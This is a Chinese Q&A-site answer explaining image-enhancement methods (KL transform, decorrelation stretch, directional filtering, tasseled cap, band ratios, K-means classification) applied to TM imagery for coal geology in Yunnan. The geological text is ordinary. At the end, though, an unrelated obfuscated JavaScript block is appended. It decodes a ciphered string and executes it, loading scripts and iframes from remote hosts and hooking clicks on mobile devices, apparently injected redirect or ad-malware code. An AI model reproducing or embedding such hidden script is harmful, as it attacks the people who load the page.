推荐回答(1个)
利用制作好的TM基础影像图目视解译后,仍有某些难以确定的重要地质要素、地质特征需进行相应的数字图像增强处理,以有效地突出有用信息,抑制植被、冰雪等其他干扰因素,改善图像的视觉效果,提高重现图像的逼真度,增强信息提取与识别能力。
为了突出岩石地层、控煤构造和含煤区小构造、含煤地层及煤层等信息,增加图像的可解译程度,提高解译效果,针对地质条件复杂和重点含煤区,利用ENVI遥感图像处理软件作进一步的数字图像增强处理,以达到有效提取相关信息的目的。处理方法主要有主成分分析、直方图均衡化、定向滤波、比值处理和锐化增强等十余种方法,达到了对地质体、煤层分类和识别的目的,完善了解译效果。
图像增强处理虽然不能增加图像数据中的相关信息,但它能够增加所选特征的动态范围,从而使这些特征的检测和识别更加容易。在芒棒区、中甸区和永胜区共选取20个子区进行处理(表2-1),目的有三:①对影像中的模糊区进行处理,增强其可解译程度;②对与煤田地质关系密切的研究对象进行处理,提高可解译程度;③对直接和间接地反映煤及其他矿产异常的影像特征进行处理,增强目视解译的识别能力。使用的主要方法有:主成分分析、去相关拉伸、比值运算、芒塞尔彩色空间变换、非监督分类等。具体操作时,为了获取理想的效果,往往以其中一种方法为主,叠加其他方法进行运算,最后选择效果较好的处理结果进行输出。现将所使用主要处理方法及各子区特征分述如下:
表2-1 子区编号、位置及提取信息内容
(一)KL变换(主成分分析)
KL(Karhunen-LoeveTransform,卡洛南—洛伊变换)变换是遥感图像增强和信息提取中常用的波谱信息线性投影变换,在尽可能不减少信息量的前提下,将原图像的高维多光谱空间像元亮度值投影到新的低维空间,减少特征空间维数,达到数据压缩、提高信噪比、降维处理和提取图像特征信息的目的。它可使原来多波段图像经变换后提供出一组不相关的图像变量,最前面的主分量具有较大的方差,包含了原始影像的主要信息,此方法对于原始图像上那些信息微弱、模糊、离散度大的地质信息的增强处理,能够起到聚集和归并的作用,同时也能够压制阴影、云雾和雪盖的显示强度。所以要集中表达信息,突出图像的某些细部特征,可采用KL变换处理(图2-2)。芒棒全区经过KL变换后的图像,影纹结构细腻,水系、地貌等特征反映更加明显;对永胜金沙江背斜采用主成分分析+直方图均衡化的方法进行处理,褶皱和断裂特征非常明显,玄武岩组各段的分界清晰。
(二)去相关拉伸变换
对相关性高的波段进行去相关拉伸处理,减弱它们之间的相关性,从而使深色区域的地物差异界线反映得更加清楚。勐连盆地子区经过去相关拉伸变换后盆地边界与周围岩层差异明显,盆地边界清晰,隐伏断裂也更容易识别(图2-3);永胜全区经去相关拉伸变换后,有效地突出了各岩石地层及构造的影像特征。
图2-2 芒棒区KL变换图像
(三)纹理特征提取变换
纹理特征提取方法是用一个活动的窗口在图像上连续滑动,分别计算出窗口中的方差、均值、最大值、最小值及二者之差和信息熵等,形成相应的纹理图像,当目标的光谱特性比较接近时,纹理特征对于区分目标可以起到积极的作用。选取适当的数据动态变化范围,进行纹理特征提取后,使影像的纹理特征得到突出,有利于提取构造信息。对中甸幅的小中甸东子区进行纹理特征提取变换后,子区的信息丰富,线性特征明显;永胜子区采用纹理特征提取变换后,松桂组含煤地层与其上覆、下伏地层的纹理特征差异明显,提高了图像的可解译程度(图2-4)。
(四)锐化增强
调整图像的锐化程度使地物在图像上的差别便于人眼识别,可达到信息增强的目的。对图像进行锐化增强实际上是利用变换函数把原图像进行灰度级转换,增大相邻像元的灰度值之差,从而达到突出图像细节的目的,对中甸幅尼西盆地子区进行锐化增强后,盆地边界清晰,影纹细腻(图2-5)。
图2-3 勐连盆地子区去相关拉伸图像
(五)定向滤波
利用定向滤波对TM图像频率特征进行筛选,将图像中的线与边缘特征信息增强,突出给定方向的线性影像信息,抑制其他方向的无用信息。对芒棒盆地子区采用45°方向滤波后,突出了断裂的线性影像,断裂两侧的影像色调、花纹明显不同,断裂造成的山脊错断等特征在影像上非常明显;采用该方法处理后,程海逆冲断裂的位置、走向及其展布特征非常明显,外来系统与原地系统的岩石组合和构造发育特征截然不同(图2-6)。
(六)缨帽变换
采用缨帽变换可将TM图像除热红外波段的6个波段压缩成3个分量,其中的土壤亮度指数分量是6个波段的加权和,反映了总体的反射值;绿色植被指数分量反映了绿色生物量的特征;土壤特征分量反映了可见光和近红外与较长红外光的差值,它对土壤湿度和植物湿度最为敏感。这样的3个分量就是TM数据进行缨帽变换后形成的新空间,它可以对植被、土壤等地物做更为细致、准确的分析,应用这种处理方法可增强影像上深色区域的信息。对腾冲火山机构子区进行缨帽变换后,再进行对比度增强处理,图像中火山岩岩体边界、火山口形态、纹理以及色调都得到了有效的突出(图2-7);金棉逆冲断裂经缨帽变换后信息丰富,特征明显。
图2-4 永胜子区纹理特征提取变换图像
图2-5 中甸子区锐化增强图像
图2-6 程海逆冲断裂135°定向滤波图像
图2-7 腾冲火山机构子区缨帽变换图像
(七)芒塞尔彩色空间变换
在计算机内定量处理色彩时通常采用红、绿、蓝三原色组成的彩色空间RGB表色系统,但在视觉上定性的描述色彩时,采用HSV(Hue〈色度〉、Saturation〈饱和度〉、Value〈纯度〉)显色系统更直观些。Munsell HSV变换就是对彩色合成图像在红、绿、蓝编码赋色方面的一种彩色图像增强方法,它是借助于改变彩色合成过程中光学参数的变化来扩展图像色调差异,将图像彩色坐标中的RGB(Red Green Blue)空间变换为HSV色彩模型。其目的是为了更有效地抑制地形效应和增强岩石单元的波段差异,并通过彩色编码增强处理达到最佳的图像显示效果。对中甸幅雪盖区进行处理后可以看出,雪盖区可识别程度比原来大大提高,被雪覆盖的山脊清晰可辨;对永胜区竹山、药山的阴影区进行芒塞尔彩色空间变换处理,有效突出了阴影区的微地貌及其纹理特征,地质体边界更加清晰,可解译程度大大提高(图2-8)。
图2-8 永胜区竹山阴影区芒塞尔彩色空间变换
(八)非监督分类
由于遥感图像上的同类地物在相同的表面结构、植被覆盖、光照等条件下有相同或相近的光谱特征,而相似波谱的像元点必然在光谱空间的相应部位集结成群。因此可按这些自然集群划分类别,然后与野外实际调查的地面情况进行对比,确定各类地物属性。这种方法能把样本区分为若干类别,却不能给出样本的描述。对中甸区的小中甸盆地子区采用非监督分类中的K-均值算法,其基本思想是通过迭代,逐次移动各类的中心,直至得到最好的聚类结果为止,这种算法是一个迭代算法,迭代过程中类别中心按最小二乘误差的原则进行移动,因此类别中心的移动是合理的。其缺点是要事先已知类别数,在实际中类别数通常根据试验的方法来确定,本次工作经过多次试验最后采用类别数为15的算法。小中甸盆地子区的分类结果与野外情况基本相符,不足之处是对相同或相近波谱特征的不同地物容易产生分类误差(图2-9)。
(九)波段彩色合成
对两个波段的图像进行波段合成,可突出类别或目标信息,消除山影、云影等的影响,区分易混淆的地物,从芒棒区蒲川盆地子区处理的结果可以看出,盆地的边界和植被信息得到了增强,从而使盆地边界的圈定更加直观;对永胜宁利子区采用该方法处理后,黑泥哨组和松桂组含煤地层的影像特征更加明显,走向及边界更为清晰(图2-10)。
图2-9 中甸子区K-均值算法非监督分类图像
图2-10 芒棒区蒲川盆地子区波段彩色合成图像
(十)对数变换
对数变换的主要作用是压缩图像亮区的灰阶值,拉伸暗区的灰阶值,从而突出暗区的构造形迹。对中甸北老地层子区进行对数变换后可以看出,子区的色彩丰富,影纹清晰,有利于岩性的识别(图2-11)。
(十一)比值处理
比值处理采用高质量比值功能,使图像得到拉伸,有效消除地形影响,使阴影区的结构得到显示。处理出来的图像既保留了原有地貌特征,又突出了线环构造,为盆地的研究提供了更为直观可靠的资料,中甸盆地子区经过比值处理后,立体感得到增强,阴影区结构清楚,盆地边界一目了然;采用7/4、5/2、5/3比值运算增强处理方法对宝坪铜矿区及米厘 宝坪铜矿远景区的围岩蚀变信息进行增强处理,其蚀变信息丰富,特征非常明显(图2-12)。
图2-11 中甸北老地层子区对数变换图像
图2-12 永胜区宝坪铜矿区围岩蚀变信息比值运算图像
(十二)对比度扩展
对图像统一采用一种灰度标尺的变换,使影像反差扩展到整个动态范围,这种反差处理根据一个固定的变换关系,逐个像素地改变灰度值,提高地物反差,以达到反差增强的目的,本次工作选取的变换关系有线性扩展、非线性函数变换和直方图均衡化处理。
(十三)波段运算
即对各相关波段进行数学运算,通过运算有效地消除或减弱对主题目标干扰严重的无用信息,使得处理后的图像既保留原有总体特征,又突出了个别有用信息。
另外,本次工作还进行了拉普拉斯卷积滤波、罗伯特卷积滤波、中值滤波、低通滤波、高通滤波及图像融合等多种图像处理方法,也取得了较好的效果,在此不再赘述。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();